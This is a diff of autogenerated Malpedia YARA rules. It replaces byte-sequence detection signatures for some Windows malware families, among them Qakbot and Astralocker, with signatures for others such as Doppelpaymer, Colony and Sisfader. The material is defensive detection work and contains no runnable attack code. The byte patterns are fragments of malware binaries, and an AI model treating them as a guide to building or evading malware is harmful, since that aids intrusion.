@@ -159669,33 +166732,39 @@ rule MALPEDIA_Win_Astralocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b5508 8b440a04 50 8b0c0a 51 e8???????? }
-		$sequence_1 = { 83c102 894dfc 837dfc0a 0f83dc000000 8b55fc 8b4508 }
-		$sequence_2 = { 6bc20a 8b4d08 33d2 33f6 891401 }
-		$sequence_3 = { 6bc20a 8b4d08 33d2 33f6 }
-		$sequence_4 = { 8b440a04 50 8b0c0a 51 e8???????? 83c408 8945ec }
-		$sequence_5 = { 894dfc 837dfc0a 0f83dc000000 8b55fc 8b4508 8b4cd004 }
-		$sequence_6 = { 8b4508 8b4cd004 51 8b14d0 52 e8???????? }
-		$sequence_7 = { 33c0 33f6 89040a 89740a04 }
-		$sequence_8 = { ba08000000 6bc20a 8b4d08 33d2 33f6 891401 89740104 }
-		$sequence_9 = { 33c0 33f6 89040a 89740a04 c745fc00000000 eb09 }
+		$sequence_0 = { 8a55f3 80c201 8855f3 837df807 7517 0fbe45f3 c6840570ffffff3a }
+		$sequence_1 = { 51 8b5508 52 ff15???????? eb71 8d45ec 50 }
+		$sequence_2 = { 51 680104c378 e8???????? 83c40c 8d55e8 52 }
+		$sequence_3 = { 8945f4 8b45f4 33d2 b900ca9a3b f7f1 8955f4 8b55f4 }
+		$sequence_4 = { 33c9 894ddc 894de0 894de4 894de8 c745dc10000000 c745e001000000 }
+		$sequence_5 = { 8b55f0 52 ff15???????? 8b45c0 8be5 }
+		$sequence_6 = { c645f274 c645f369 c645f466 c645f569 }
+		$sequence_7 = { 7e0b 83bde4feffff08 7d02 ebcb 83bde4feffff1a 7e0b }
+		$sequence_8 = { c744240c57726974 c74424106550726f c744241463657373 c74424184d656d6f c744241c72790000 ff15???????? a3???????? }
+		$sequence_9 = { 8b701c 8bcf e8???????? 8b4c240c }
+		$sequence_10 = { 51 c74424084f70656e c744240c50726f63 c744241065737300 ff15???????? a3???????? 8b542448 }
+		$sequence_11 = { 56 33ff 53 8906 894e08 }
+		$sequence_12 = { 68???????? ff15???????? 8bf8 85ff 7472 }
+		$sequence_13 = { 55 8b6c244c 85c0 7550 }
+		$sequence_14 = { f3a5 8b8c24b4000000 a4 8db329010000 56 }
+		$sequence_15 = { b840000000 55 89442410 89442414 8d442410 50 8d4c2418 }
 
 	condition:
-		7 of them and filesize <191488
+		7 of them and filesize <303104
 }
-rule MALPEDIA_Win_Bhunt_Auto : FILE
+rule MALPEDIA_Win_Rerdom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5486e0c5-654b-5b43-b68d-10c1b78a90c9"
+		id = "26b21d13-90fc-5a47-a822-e7b7af65cf28"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bhunt_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rerdom_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "f1702c9f5cf7c98ee774218c3a385f625fff81483374971b8b6cf77e6b060de8"
-		score = 50
+		logic_hash = "f1628ed7c3a0f5463a2b7ad02b3e6deb2af0e74d20f58edaa325cbcbd6ff539b"
+		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
@@ -159708,32 +166777,32 @@ rule MALPEDIA_Win_Bhunt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { feca f8 d0c2 f5 f8 32da 80ffd4 }
-		$sequence_1 = { 85c0 751a 8b442410 50 8bd5 8bc3 e8???????? }
-		$sequence_2 = { 8902 660fbcc0 8b07 8dbf04000000 663bcf 66f7c4ab75 33c3 }
-		$sequence_3 = { bbff000000 8bc3 8d7c2414 66c784241e1200000800 e8???????? 59 8d8600120000 }
-		$sequence_4 = { 0fb7c2 8b55f0 03450c 2bd1 0fb74dfc }
-		$sequence_5 = { ff7304 c645d405 56 e8???????? ff7304 ff36 e8???????? }
-		$sequence_6 = { 83a530ffffff00 c7852cffffff01000000 ffb530ffffff ffb52cffffff 52 ffb544ffffff e8???????? }
-		$sequence_7 = { 5f 9c 04f8 26ed c59818579fa0 5f e7e6 }
-		$sequence_8 = { 52 3a21 a7 a2???????? 50 9d 03890023b0b3 }
-		$sequence_9 = { ac 2a7279 bfae9603f7 6c a3???????? 9f 97 }
+		$sequence_0 = { 85f6 7425 8b550c b8???????? e8???????? 3bc7 }
+		$sequence_1 = { 89470c 8b4508 894708 eb1c 33db 53 }
+		$sequence_2 = { 8b44240c 21b0cc000000 21b0d0000000 8bd8 8d842412060000 50 83ceff }
+		$sequence_3 = { e9???????? 83f801 7533 8b4e04 8b97d0000000 8b4608 }
+		$sequence_4 = { e8???????? 53 a3???????? 57 8bc6 e8???????? 5f }
+		$sequence_5 = { 8b742430 8d4618 50 8d4c2428 e8???????? 84c0 741e }
+		$sequence_6 = { 7527 8b4510 85c0 7405 }
+		$sequence_7 = { 3bde 0f84c5000000 8b430c 3bc6 0f84ba000000 897510 8b00 }
+		$sequence_8 = { 8b450c e8???????? 8945e4 85c0 7427 8365fc00 ff750c }
+		$sequence_9 = { 41 66890456 0fb7044b 6685c0 75ec 8bc3 }
 
 	condition:
-		7 of them and filesize <19161088
+		7 of them and filesize <352256
 }
-rule MALPEDIA_Win_Qadars_Auto : FILE
+rule MALPEDIA_Win_Mangzamel_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9fe67d17-52ae-502a-8e0c-394e495a69f5"
+		id = "efd17f11-bd84-5994-8489-ce27d4f0f0e6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qadars_auto.yar#L1-L161"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mangzamel_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "3d2af7ca0745a690ff7b2f329cb25b898b4988f89dfff4953c93c63e52507d01"
+		logic_hash = "e3b6cc187254084e27045992bdf0d8b8ff879105635bf8f3e82d14e2723774a4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159747,38 +166816,32 @@ rule MALPEDIA_Win_Qadars_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 48 c7048100000000 75f4 8b06 }
-		$sequence_1 = { 8b4d10 8939 5f 8bc6 5e 5b }
-		$sequence_2 = { 747a 8b45fc 3b4604 7650 33c9 }
-		$sequence_3 = { 33c9 8908 894804 53 8b5d0c 8b4308 56 }
-		$sequence_4 = { 83e940 0f8589040000 bb???????? 8b701c }
-		$sequence_5 = { 33c0 6808020000 50 8d8de6fdffff 51 668985e4fdffff e8???????? }
-		$sequence_6 = { 894608 85c0 75ee eb32 85db }
-		$sequence_7 = { ff470c 8d4dc4 8955d0 e8???????? 8b75f4 }
-		$sequence_8 = { 6a00 8d4df4 51 6a04 8d55f8 }
-		$sequence_9 = { 6a01 6a08 ff15???????? 83c408 }
-		$sequence_10 = { 6a01 8b55fc 52 ff15???????? 83c408 }
-		$sequence_11 = { 83c40c 6805010000 8d8df8feffff 51 }
-		$sequence_12 = { 51 8b55f0 52 ff15???????? 83c40c }
-		$sequence_13 = { 83c408 6a09 8d4dc4 51 8b5518 }
-		$sequence_14 = { 83c408 837de000 740c 8b4de0 }
-		$sequence_15 = { 83c408 837df800 747f 8b4df8 }
+		$sequence_0 = { 8b7508 837e1410 7404 32c0 eb6e 8b06 53 }
+		$sequence_1 = { 8d8dd4feffff e8???????? 33db 8d8dc0fdffff 895dfc e8???????? 8d85d4feffff }
+		$sequence_2 = { 6a00 8bce ff7674 e8???????? 6a01 6804000102 8bce }
+		$sequence_3 = { ff7508 e8???????? 84c0 7404 c645f301 8b4df4 }
+		$sequence_4 = { 8bd0 8b00 8b5208 3932 7506 837a0400 }
+		$sequence_5 = { e8???????? 33c0 8bce 50 50 50 ff742414 }
+		$sequence_6 = { 8bce ff7508 ff5040 8ac3 5e 5b 5d }
+		$sequence_7 = { 57 8b7c2414 33c0 8907 8b0d???????? 3bc8 }
+		$sequence_8 = { 8d4b6c e8???????? 5e 5b c3 56 8bf1 }
+		$sequence_9 = { 8b74240c 57 8b7c240c 8d4602 50 57 e8???????? }
 
 	condition:
-		7 of them and filesize <630784
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Goopic_Auto : FILE
+rule MALPEDIA_Win_Grimplant_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "af6daaef-2e7b-547b-a95b-f4526c03929f"
+		id = "c3eab5e9-e64a-5697-878f-14199bbf7239"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.goopic_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grimplant_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "09cf2d520274006f21b8dfb7e13c7364d612efefae1767684cd3f4a4dac575b5"
+		logic_hash = "eec64e00f45245d4dee8d091e0d2ebea0088235a6d441087ed38c039f05955af"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159792,34 +166855,34 @@ rule MALPEDIA_Win_Goopic_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d85fcf7ffff 50 ff15???????? 6a00 6a00 6a00 6a00 }
-		$sequence_1 = { 57 ff742428 ff15???????? 85c0 740d }
-		$sequence_2 = { c785d0fdffff2c020000 ff15???????? 8bf0 8d85d0fdffff 50 56 }
-		$sequence_3 = { 50 8b08 ff11 8b442414 50 }
-		$sequence_4 = { ff15???????? 8bd7 8d8df8bfffff e8???????? 57 68???????? ff15???????? }
-		$sequence_5 = { 8bfa ffd6 8bd8 895dfc }
-		$sequence_6 = { 50 6aff 68???????? 6a00 6a00 ffd7 8d842448190000 }
-		$sequence_7 = { 0f8664ffffff 8b4dfc 33c0 5f 5e 33cd 5b }
-		$sequence_8 = { 53 ff15???????? 8bf8 85ff 0f84f4000000 56 6a00 }
-		$sequence_9 = { c785c0fdffff305d4000 eb0a c785c0fdffff245d4000 8d85b4fdffff c785c4fdffff3c5d4000 50 }
+		$sequence_0 = { e9???????? 3c08 7465 eb15 3c0e 0f8ff5000000 90 }
+		$sequence_1 = { ffd2 eb3d 488b4c2428 488b91d0000000 488b442438 ffd2 4885c0 }
+		$sequence_2 = { eb1f 488db8486a0100 488d15ac5c5000 e8???????? 488db8506a0100 e8???????? 440f11b8586a0100 }
+		$sequence_3 = { ffd2 b914000000 4889c7 4889de 31c0 488d1da6514200 e8???????? }
+		$sequence_4 = { ffd1 4883f805 0f85f2100000 0f1005???????? 0f11442478 0f1005???????? 0f11842488000000 }
+		$sequence_5 = { 746c 4c8b4018 49ffc0 4c394020 7d5f 488d05a3ab1d00 0f1f00 }
+		$sequence_6 = { 90 488d05cbd28b00 e8???????? 488b442470 4c8b442440 4c8b4c2458 e9???????? }
+		$sequence_7 = { c6401801 440f113c24 48c744241000000000 488b9c2480000000 4889c1 488bbc24a0000000 488bb424a8000000 }
+		$sequence_8 = { 90 488d0567839000 e8???????? 8b542440 448b8424b0000000 448b4c2444 89d0 }
+		$sequence_9 = { eb0f 4889c7 488d159ceb1300 e8???????? 488d0588670a00 488b5c2448 b906000000 }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <19940352
 }
-rule MALPEDIA_Win_Emdivi_Auto : FILE
+rule MALPEDIA_Win_Colony_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c7c959fb-e496-5370-834c-2f119e1d6751"
+		id = "2ec04e04-70c5-5f61-acc9-0f96a006c29a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.emdivi_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.colony"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.colony_auto.yar#L1-L225"
 		license_url = "N/A"
-		logic_hash = "e1fc98ee3cf386dcf808c43ff2c4f0b6085fa811a19f892f7791e8e62f91b120"
+		logic_hash = "a79879d34246651b7f75532605ca94c4866e5edbca41b238eabaad9f54198dce"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -159831,34 +166894,48 @@ rule MALPEDIA_Win_Emdivi_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fbe441fff 83c404 2bd8 8bf3 8d4601 }
-		$sequence_1 = { 59 c745e401000000 c745e803000000 c745ec05000000 894df0 c745f408000000 c745f80a000000 }
-		$sequence_2 = { c645f800 e8???????? 8b45d4 5b 8b4dfc 33cd 5f }
-		$sequence_3 = { ff5108 e8???????? c3 beff010000 56 }
-		$sequence_4 = { ff750c 8365e000 ff7508 33c0 c645e400 8d7de5 }
-		$sequence_5 = { 5f c9 c3 6a1f }
-		$sequence_6 = { eb07 888415b4fdffff 42 41 41 }
-		$sequence_7 = { 8bf0 e8???????? 99 2bf7 f7fe }
-		$sequence_8 = { 55 8bec 53 56 6a03 5b }
-		$sequence_9 = { 83e003 33d2 3955f0 8945f8 }
+		$sequence_0 = { 0118 e9???????? 6a00 6818200000 }
+		$sequence_1 = { 0118 e9???????? c745ec00000000 85db }
+		$sequence_2 = { 03c1 50 e8???????? 83c40c 8b45f0 }
+		$sequence_3 = { 8b421c 2b4218 660f6ec0 f30fe6c0 }
+		$sequence_4 = { 8b4214 2b4210 660f6ec0 f30fe6c0 }
+		$sequence_5 = { 0101 0101 0101 0202 0202 0200 }
+		$sequence_6 = { 69d200008f04 2bc8 c1e910 69c161a4f778 2bd0 }
+		$sequence_7 = { 0102 894dec 3bcb 7c85 }
+		$sequence_8 = { 7407 b901000000 eb0a 33c9 803f01 0f95c1 33c0 }
+		$sequence_9 = { 8b420c 2b4208 660f6ec0 f30fe6c0 }
+		$sequence_10 = { 034de8 894604 893e 8930 }
+		$sequence_11 = { 740f 0301 eb0b a801 }
+		$sequence_12 = { 03f1 ff15???????? 8b0d???????? 53 }
+		$sequence_13 = { 03c0 8985bcfbffff 8d85bcfbffff 6a00 }
+		$sequence_14 = { 8a4202 8841ff 8b02 c1e808 }
+		$sequence_15 = { 660f6e4104 f30fe6c0 84c0 7509 }
+		$sequence_16 = { 488d15e5980000 483305???????? 488bcb 488905???????? ff15???????? 488d15e7980000 483305???????? }
+		$sequence_17 = { e8???????? 4803db 4c8d3590fc0000 49833cde00 7407 }
+		$sequence_18 = { 837b0801 7524 4863c6 488d15551a0100 4533c0 488d0c80 ffc6 }
+		$sequence_19 = { 488905???????? ff15???????? 488d15f3980000 483305???????? 488bcb 488905???????? }
+		$sequence_20 = { 488d3d0cb8ffff 488bcf e8???????? 85c0 }
+		$sequence_21 = { 488d1552fb0000 483950f0 740c 488b10 4885d2 7404 f044010a }
+		$sequence_22 = { 0f8c65030000 488d3534ac0000 4883ee60 4585ed 0f843f030000 }
+		$sequence_23 = { 3b0d???????? 7367 4863c1 4c8d354acd0000 488bf8 83e01f 48c1ff05 }
 
 	condition:
-		7 of them and filesize <581632
+		7 of them and filesize <7599104
 }
-rule MALPEDIA_Win_Qakbot_Auto : FILE
+rule MALPEDIA_Win_Doppelpaymer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "241bd352-128e-5f57-a961-1a32ff520127"
+		id = "f239cfc1-7cb1-5c3d-a2a9-bf2ad44d0856"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qakbot_auto.yar#L1-L449"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doppelpaymer_auto.yar#L1-L181"
 		license_url = "N/A"
-		logic_hash = "9011c5853a3a4bce7115bdec7dfc8cc7a3dbd683d5e3bd577fb86bb5ca62af81"
+		logic_hash = "6c7514bbe70399e920b266dcf23ab956c2fd28d40abc6464ad39f41a291bdfca"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -159870,75 +166947,40 @@ rule MALPEDIA_Win_Qakbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c9 c3 55 8bec 81ecc4090000 }
-		$sequence_1 = { 33c0 7402 ebfa e8???????? }
-		$sequence_2 = { 7402 ebfa 33c0 7402 }
-		$sequence_3 = { 7402 ebfa eb06 33c0 }
-		$sequence_4 = { e8???????? 33c9 85c0 0f9fc1 41 }
-		$sequence_5 = { 50 e8???????? 8b06 47 59 }
-		$sequence_6 = { 8d45fc 6aff 50 e8???????? }
-		$sequence_7 = { 59 59 33c0 7402 }
-		$sequence_8 = { e8???????? 59 59 6afb e9???????? }
-		$sequence_9 = { 740d 8d45fc 6a00 50 }
-		$sequence_10 = { 50 8d8534f6ffff 6a00 50 e8???????? }
-		$sequence_11 = { 8945fc e8???????? 8bf0 8d45fc 50 e8???????? }
-		$sequence_12 = { 33c0 e9???????? 33c0 7402 }
-		$sequence_13 = { 7402 ebfa e9???????? 6a00 }
-		$sequence_14 = { 8975f8 8975f0 8975f4 e8???????? }
-		$sequence_15 = { eb0b c644301c00 ff465c 8b465c 83f840 7cf0 }
-		$sequence_16 = { 7cef eb10 c644301c00 ff465c 8b465c 83f838 }
-		$sequence_17 = { e8???????? 83c410 33c0 7402 }
-		$sequence_18 = { 85c0 750a 33c0 7402 }
-		$sequence_19 = { c644061c00 ff465c 837e5c38 7cef eb10 c644301c00 }
-		$sequence_20 = { 7507 c7466401000000 83f840 7507 }
-		$sequence_21 = { 837dfc00 750b 33c0 7402 }
-		$sequence_22 = { e8???????? e8???????? 33c0 7402 }
-		$sequence_23 = { 833d????????00 7508 33c0 7402 }
-		$sequence_24 = { c7466001000000 33c0 40 5e }
-		$sequence_25 = { 7402 ebfa 837d1000 7408 }
-		$sequence_26 = { 80ea80 8855f0 e8???????? 0fb64df7 }
-		$sequence_27 = { 50 8d45d8 50 8d45d4 50 8d45ec }
-		$sequence_28 = { 56 e8???????? 8b45fc 83c40c 40 }
-		$sequence_29 = { 6a00 6800600900 6a00 ff15???????? }
-		$sequence_30 = { 50 ff5508 8bf0 59 }
-		$sequence_31 = { 6a00 58 0f95c0 40 50 }
-		$sequence_32 = { 57 ff15???????? 33c0 85f6 0f94c0 }
-		$sequence_33 = { 750c 57 ff15???????? 6afe 58 }
-		$sequence_34 = { c3 33c9 3d80000000 0f94c1 }
-		$sequence_35 = { 6a02 ff15???????? 8bf8 83c8ff }
-		$sequence_36 = { 50 e8???????? 6a40 8d4590 }
-		$sequence_37 = { 8d85e4fcffff 50 8d85e4fdffff 50 }
-		$sequence_38 = { 56 e8???????? 83c40c 8d4514 50 }
-		$sequence_39 = { e8???????? 6a00 8d45d4 50 68???????? }
-		$sequence_40 = { 5d c3 33c9 66890c46 }
-		$sequence_41 = { 8b4a04 83c204 03f0 85c9 75e1 }
-		$sequence_42 = { 01f1 898424a8000000 899424ac000000 8d8424b4000000 89c2 8db424c4000000 }
-		$sequence_43 = { 8a442417 8b4c2410 0485 88440c66 89ca 83c201 }
-		$sequence_44 = { ffd3 85ff 741b 6808020000 6a00 }
-		$sequence_45 = { 88442401 894c245c 0f847afdffff e9???????? }
-		$sequence_46 = { 89442410 884c2417 eb94 55 89e5 31c0 }
-		$sequence_47 = { 8945fc 8b4518 53 8b5d10 56 8945c4 }
-		$sequence_48 = { 8b742420 81c638a1e7c3 39f0 89442410 894c240c 89542408 7408 }
-		$sequence_49 = { 8b74242c bb3c13b648 f7e3 69f63c13b648 01f2 89442428 8954242c }
-		$sequence_50 = { 8b4c2444 ffd1 83ec08 b901000000 ba66000000 31ff 89c3 }
-		$sequence_51 = { 89e0 89580c bb04000000 895808 8b5c246c 895804 8b9c2480000000 }
-		$sequence_52 = { 8bf0 83c40c 85f6 0f84f8000000 a1???????? }
+		$sequence_0 = { 80790600 7523 80790264 751d }
+		$sequence_1 = { 80790561 7517 80790361 7511 80790474 }
+		$sequence_2 = { e8???????? 8b08 e8???????? 3db6389096 }
+		$sequence_3 = { 83ec28 6800002002 6a00 6a01 }
+		$sequence_4 = { 80790264 751d 80790561 7517 }
+		$sequence_5 = { baffffff7f 43 e8???????? 3bd8 }
+		$sequence_6 = { 8d8c2450010000 e8???????? 89bc245c010000 8d442404 }
+		$sequence_7 = { e8???????? 8d8c2424030000 e8???????? 6a10 }
+		$sequence_8 = { c20400 8b4e44 8b4110 5e }
+		$sequence_9 = { 8955ec e8???????? 8d0d6f302b00 890424 894c2404 e8???????? 8d0d34302b00 }
+		$sequence_10 = { 890c24 8945c8 e8???????? 8b4de8 890c24 8945c4 }
+		$sequence_11 = { c3 8b45e8 b99054c837 8a55f3 80c2c9 2b4df4 }
+		$sequence_12 = { 83ec08 8b4508 8b4054 89e1 894104 }
+		$sequence_13 = { 8945c4 74d0 e9???????? 31c0 8b4db8 83c104 }
+		$sequence_14 = { 5b 5d c3 b8e2f49a29 2b45ec 8b4dcc 81c1ffff0000 }
+		$sequence_15 = { e8???????? 8b4de8 8b55d8 895128 8b75c4 897114 }
+		$sequence_16 = { a1???????? ffd0 8945bc 31c0 8b4de8 83c154 8b55e8 }
+		$sequence_17 = { c20400 8b400c 8b4810 56 8b700c 57 }
 
 	condition:
-		7 of them and filesize <4883456
+		7 of them and filesize <7266304
 }
-rule MALPEDIA_Win_Aukill_Auto : FILE
+rule MALPEDIA_Win_Scarabey_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a6d13b29-a1c3-5db7-ac5c-09009229e7b9"
+		id = "32f7c136-d07c-5221-8524-163d31e0f9ce"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aukill"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aukill_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarabey"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scarabey_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "ebc3504ab44ddd68fe35d4be4361ca674b2d7f3006cec23148755c773291be1b"
+		logic_hash = "1ba8f19bbb29b54a80b4850f75f9b4dbbfff504fea1a8a75cc950df78ae9916b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -159952,34 +166994,34 @@ rule MALPEDIA_Win_Aukill_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 751f 488b4c2458 ff15???????? }
-		$sequence_1 = { 0fb7da 8bf9 e8???????? 4c8bc8 4533c0 }
-		$sequence_2 = { 4533c0 33d2 488bcb ff15???????? 85c0 7526 488bcb }
-		$sequence_3 = { 4889442420 ff15???????? 85c0 751f 488b4c2458 ff15???????? }
-		$sequence_4 = { 751d 488bcb ff15???????? ff15???????? }
-		$sequence_5 = { 4489442420 453b01 7346 4b8d1440 410f104cd108 0f114c2428 f2410f1044d118 }
-		$sequence_6 = { 448d4920 48894c2450 488b0d???????? 48897c2458 }
-		$sequence_7 = { 488bd3 33c9 ff15???????? 85c0 751f }
-		$sequence_8 = { 48895c2408 57 4883ec60 488bfa 8bd9 e8???????? 33c9 }
-		$sequence_9 = { ffc2 80f920 75ee 4c63c2 }
+		$sequence_0 = { 8bf0 85f6 7478 8b8dfcd6ffff 8b95f4d6ffff 8d85fcd6ffff 50 }
+		$sequence_1 = { e8???????? c745fcffffffff 8b06 8b7e04 2bf8 85c0 7409 }
+		$sequence_2 = { 51 52 ffd3 6a40 6800300000 }
+		$sequence_3 = { ff15???????? 56 ff15???????? a1???????? 33f6 56 }
+		$sequence_4 = { ba12000000 8d0dd0ad5700 e9???????? db2d???????? d9c9 d9f5 9b }
+		$sequence_5 = { 7d04 8944241c 686666aa00 50 33db 6a02 895c2450 }
+		$sequence_6 = { 8bc8 8b8524d7ffff 83c005 8d14c500000000 2bd0 a1???????? 03ca }
+		$sequence_7 = { e8???????? 8b4d08 8b83d40c0000 8bf0 83f907 7771 ff248d690c4700 }
+		$sequence_8 = { eb4c 8d4c2404 68???????? 51 e8???????? 83c408 84c0 }
+		$sequence_9 = { c744240808000000 c744240cff000000 ff15???????? 8bce e8???????? 6a00 e8???????? }
 
 	condition:
-		7 of them and filesize <446464
+		7 of them and filesize <3580928
 }
-rule MALPEDIA_Win_Felismus_Auto : FILE
+rule MALPEDIA_Win_Sisfader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5818ed3f-2431-5f26-88a0-82a8f566adf3"
+		id = "1937373c-a869-5de8-8c47-c30db9548d3e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.felismus_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sisfader_auto.yar#L1-L291"
 		license_url = "N/A"
-		logic_hash = "dea5875d596c4ef87d002c63282ac83d0f7df95527f5e0d6e66faa21ccc2e20e"
+		logic_hash = "288baaa87a5a9f6675c09b00537afbaf23a5deab091befb8544155fddb8ada09"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -159991,32 +167033,52 @@ rule MALPEDIA_Win_Felismus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8b35???????? 83c404 53 ffd6 8b442410 }
-		$sequence_1 = { 8b4e08 8b560c 89442418 8b4610 894c241c 89442424 }
-		$sequence_2 = { 89542410 8b5110 56 2be8 57 89542420 bb01000000 }
-		$sequence_3 = { 8d5640 8bfa f3ab 8b4618 33c9 85c0 7e24 }
-		$sequence_4 = { 66ab aa b940000000 33c0 8dbc24b1050000 }
-		$sequence_5 = { 85c0 740f 8d8c2414010000 68???????? 51 eb0d 8d942414010000 }
-		$sequence_6 = { 8b442424 50 56 ff15???????? 56 ff15???????? 83f8ff }
-		$sequence_7 = { 7cd0 8b461c 8bce 50 e8???????? 8b7e1c }
-		$sequence_8 = { 51 8bfb 83c9ff 33c0 895514 f2ae f7d1 }
-		$sequence_9 = { 83c408 85ff 742b 57 ff15???????? 83f816 7e1f }
+		$sequence_0 = { 85c9 741f 33c0 85c9 }
+		$sequence_1 = { e8???????? 85c0 b91d000000 0f44d9 }
+		$sequence_2 = { 8906 83f824 723e b824000000 }
+		$sequence_3 = { 8b4dfc 51 8b55f8 52 e8???????? 83c408 8945f4 }
+		$sequence_4 = { 33d2 b904000000 e8???????? 33c0 83f801 7425 baffffffff }
+		$sequence_5 = { 83793000 0f85be000000 8b55fc 8b45f0 }
+		$sequence_6 = { 837c245000 7402 eb12 c744245401000000 33c0 }
+		$sequence_7 = { c705????????07000000 8b442438 8905???????? c705????????00000000 8b442440 8905???????? c705????????b80b0000 }
+		$sequence_8 = { 837c242001 7425 837c242002 7441 837c242003 745d 837c242004 }
+		$sequence_9 = { 85c0 752b 8d45f8 c745f882000000 50 8d8618010000 50 }
+		$sequence_10 = { 66837c246c2e 7518 0fb74c246e 6685c9 }
+		$sequence_11 = { 83790800 745d c745f800000000 eb09 8b55f8 83c201 }
+		$sequence_12 = { 746b c744242000000000 eb0a 8b442420 }
+		$sequence_13 = { 6a04 e8???????? 83c40c 8b4d0c 51 }
+		$sequence_14 = { 8b442448 89442420 837c242001 7402 eb05 e8???????? }
